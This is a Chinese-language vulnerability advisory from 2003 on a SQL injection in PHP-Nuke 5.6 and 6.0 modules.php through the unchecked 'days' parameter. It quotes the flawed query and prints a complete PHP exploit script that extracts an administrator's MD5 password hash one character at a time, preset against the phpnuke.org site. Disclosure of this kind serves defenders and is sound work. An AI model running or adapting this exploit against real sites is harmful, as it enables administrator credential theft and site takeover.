首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke modules.php远程可获取加密后口令漏洞

发布日期:2003-02-27
更新日期:2003-02-27

受影响系统:
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 5.6
描述:
BUGTRAQ  ID: 6887

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke modules.php脚本存在SQL指令注入漏洞,远程攻击者可能利用此漏洞获取PHP-Nuke管理员的加密后的口令HASH值,从而获取管理员权限。

脚本中问题代码如下:

  -----------------------------------snip-----------------------------------
    if ($type=="stories" OR !$type) {
        if ($category > 0) {
            $categ = "AND catid=$category ";
        } elseif ($category == 0) {
            $categ = "";
        }
        $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors a where s.aid=a.aid $queryalang $categ";
        if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE '%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
        if ($author != "") $q .= "AND s.aid='$author' ";
        if ($topic != "") $q .= "AND s.topic='$topic' ";
        if ($days != "" && $days!=0) $q .= "AND TO_DAYS(NOW()) - TO_DAYS(time) <= $days ";
        $q .= " ORDER BY s.time DESC LIMIT $min,$offset";
        $t = $topic;
        $result = sql_query($q, $dbi);
  -----------------------------------snip-----------------------------------

我们可以看到,PHP-Nuke并没有对变量“$days”进行检查,而且该SQL查询的是管理员表,因此可以通过SQL Injection漏洞获取管理员表的任意敏感信息,例如密码等。在PHP-Nuke中,用户信息通过MD5算法加密,而MD5取值范围为(0-9,a-f),长度为32位,因此我们最多尝试(16*32)次即可以获取任意管理员口令MD5加密后的HASH值。

<*来源:David Zentner (david@cgishield.com
  
  链接:http://www.cgishield.com/?target=advisory&id=7
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

David Zentner(david@cgishield.com) 提供了如下测试程序:

<?php

########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0

// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined,
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="www.phpnuke.org";
$script="/modules.php";

// Title of a story created specifically by the admin who is being hacked.
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";



$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){

$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_account_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");

if (eregi("No matches found to your query","$data")){

}
else{

echo("<br>$i= $i2"); flush();break;}

}

}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}

return $buf;
}


?>

建议:
厂商补丁:

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpnuke.org

浏览次数:4291
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障